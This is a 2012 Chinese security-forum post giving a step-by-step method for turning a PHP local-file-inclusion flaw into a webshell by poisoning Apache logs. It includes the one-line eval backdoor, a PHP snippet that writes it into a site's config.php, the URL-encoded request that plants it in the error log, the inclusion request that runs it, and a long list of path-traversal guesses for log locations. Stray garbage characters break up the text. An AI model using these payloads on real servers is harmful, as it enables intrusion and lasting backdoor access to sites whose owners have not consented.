找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1935|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
$ T! C% K  y6 m( e$ O
6 `. l2 N/ i& t* x! E9 B) h- p# d比如还是这句一句话木马
1 N7 _: z( k4 n2 M) A8 r1 m; `<?eval($_POST[cmd]);?>   . E$ S" L+ P# ?8 y8 ]

$ z0 }" s# s% N6 f. g! I/ {到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, & n0 {, X$ h* u# S5 o
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
8 t. ]2 m7 s+ _
. f2 z- \; e3 P$ A<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); , P! L* |8 s7 \- Y& a
fclose($fp);?>   //在config.php里写入一句木马语句
# l9 `: s, [3 a( d' }3 o2 c9 d5 F( a$ }$ n! ^, q& ^' P
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
! \! T8 B% G, V$ J6 a5 o转换为
( Z* o2 }& e* i- r" ^+ y1 @%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F # i0 y7 P: e  E" w8 J  j6 L' d
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
) p6 @5 R; [9 Z0 C2 G: Q%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
1 @* n; \4 S7 r$ h) ]) R9 v& n* r/ Wfclose%28%24fp%29%3B%3F%3E . d2 V) D5 e) h# V2 d
我们提交
1 f8 p. k1 v" A1 \2 x5 U# fhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
- y6 H4 t9 Y5 U: r  V% U0 \. o2 |%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
; F. B& V3 Y8 @%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B # e4 ^0 S5 _- H$ H7 |4 B* C7 `1 H
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E 4 u* z# E  Z% o
  W1 I7 R* T* r8 C8 i
这样就错误日志里就记录下了这行写入webshell的代码。
4 P* W2 u" n6 |9 D$ I1 B0 Y/ t我们再来包含日志,提交
2 K4 E7 A0 ~, h0 @/ K0 B& A( i( c( Rhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
/ r, `7 R. i$ x; X2 u4 O) X2 h) F- ~8 I' f" D( W. b4 d
这样webshell就写入成功了,config.php里就写入一句木马语句
- P9 T4 O& M5 i/ A5 l: _+ \& fOK.
  F" k/ g8 W1 {  m# r9 w" Thttp://www.xxx.com/forum/config.php这个就成了我们的webshell $ O/ }. C" P' W# o3 R
直接用lanker的客户端一连,主机就是你的了。
* d4 [$ R! c( j4 Y1 C0 }$ u4 v  |& O- P& C+ q! w
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 % o1 ]) r* P  t& C

8 w- W6 ~4 s8 N1 d% L其他的日志路径,你可以去猜,也可以参照这里。 , T# s* F# R+ J7 L0 o/ L
../../../../../../../../../../var/log/httpd/access_log
% d" W; B$ v/ W* z0 }+ l6 E+ H../../../../../../../../../../var/log/httpd/error_log . T4 U& F$ i  {. t) n; y
../apache/logs/error.log
0 c8 j1 ]) s) X" A' G# @../apache/logs/access.log
% T7 f3 p' u) o: E: l../../apache/logs/error.log
6 E; Q9 _; J# s../../apache/logs/access.log ) S' q% ^/ a5 g: |+ N1 P
../../../apache/logs/error.log
# z# a, K' v7 ?: x2 r7 Z/ Z! ^../../../apache/logs/access.log
) b0 S6 ^" K& Y9 P0 N../../../../../../../../../../etc/httpd/logs/acces_log ( D* i, X) }4 f* U8 Q
../../../../../../../../../../etc/httpd/logs/acces.log
4 u! y+ @& ?9 M9 E2 o../../../../../../../../../../etc/httpd/logs/error_log 1 T; T$ m2 h* X8 W  G
../../../../../../../../../../etc/httpd/logs/error.log
# e* t% p" o1 N4 ?. }' c../../../../../../../../../../var/www/logs/access_log & C% d: A8 @5 V
../../../../../../../../../../var/www/logs/access.log ; q1 T0 \8 \* \' r5 n
../../../../../../../../../../usr/local/apache/logs/access_log
& L) w. C+ }5 `0 w* l../../../../../../../../../../usr/local/apache/logs/access.log ( M7 c7 d6 ~3 Z; b2 U* W% m
../../../../../../../../../../var/log/apache/access_log   T7 p6 j+ S; B- I0 i) ?% m1 E: W
../../../../../../../../../../var/log/apache/access.log
& H! j8 O1 D' A! G. w../../../../../../../../../../var/log/access_log
+ t6 P2 c4 z- c9 U5 }4 Q' }2 Q1 u) E../../../../../../../../../../var/www/logs/error_log
+ o; R% S8 r0 ^+ j  w0 C../../../../../../../../../../var/www/logs/error.log
+ \3 v7 k: |: q/ s../../../../../../../../../../usr/local/apache/logs/error_log
# _# P) L2 z! g1 J../../../../../../../../../../usr/local/apache/logs/error.log
3 `% R: V/ h, `7 C! {0 `; j0 x% k../../../../../../../../../../var/log/apache/error_log . L4 f1 A' `5 ^3 f4 Z( C: M$ ^
../../../../../../../../../../var/log/apache/error.log
: K1 n8 Y$ G, t../../../../../../../../../../var/log/access_log
! L5 T" }3 P& h1 g4 D% ~../../../../../../../../../../var/log/error_log
: f- n6 f/ l" f, v# d, y/var/log/httpd/access_log       2 v7 a* d$ o; K; M/ W8 x- l' `
/var/log/httpd/error_log     
$ _% H* ^, a9 x! N6 S' z../apache/logs/error.log     
3 ?2 {( C8 j$ W* d8 m5 C../apache/logs/access.log % b6 c; A& i3 s* _) O
../../apache/logs/error.log
( d( Y6 j6 N0 {. T0 z9 D% n. Q../../apache/logs/access.log
; e6 Z' j$ f) V( ~  [../../../apache/logs/error.log 2 d  l5 v3 J9 b+ J* S
../../../apache/logs/access.log
3 T0 p! W" v* }( V! `( v/etc/httpd/logs/acces_log + U1 b  H, K1 z- S  Z: z/ V6 c; ?
/etc/httpd/logs/acces.log 1 F6 W. i* y  C) z
/etc/httpd/logs/error_log & r2 C% T8 G+ r. z( s$ b- `
/etc/httpd/logs/error.log % j4 q+ W) l; I$ C2 }
/var/www/logs/access_log 3 E5 @& g! Z: r9 d  G' I
/var/www/logs/access.log
( z4 P* B9 h/ P5 H5 Y# S, M+ }9 u' [/usr/local/apache/logs/access_log
4 f% A! ~! `9 \$ O1 g% ?6 i% _( a: U, W/usr/local/apache/logs/access.log 7 W4 t2 w) i8 b8 h: x! b
/var/log/apache/access_log ; Z3 z+ b8 K$ p1 E
/var/log/apache/access.log
3 q* @5 g" ?  b& c: {/var/log/access_log
* P' {( j  p0 M+ `: t/ z/var/www/logs/error_log ( i( h6 |% {  W, F  _4 {- |
/var/www/logs/error.log
, b; m) Z; M& z' Q1 L/usr/local/apache/logs/error_log   x/ |' _; ]2 E- S! Q( B8 @/ v
/usr/local/apache/logs/error.log
0 M! ?4 p1 i. ]$ a, ?/var/log/apache/error_log
7 h8 k* r' u- b/ {1 v- s8 C/var/log/apache/error.log 4 J, _8 d5 H  Q: Y) ?5 L' I+ b* d6 q
/var/log/access_log " O' s* u3 \  c
/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表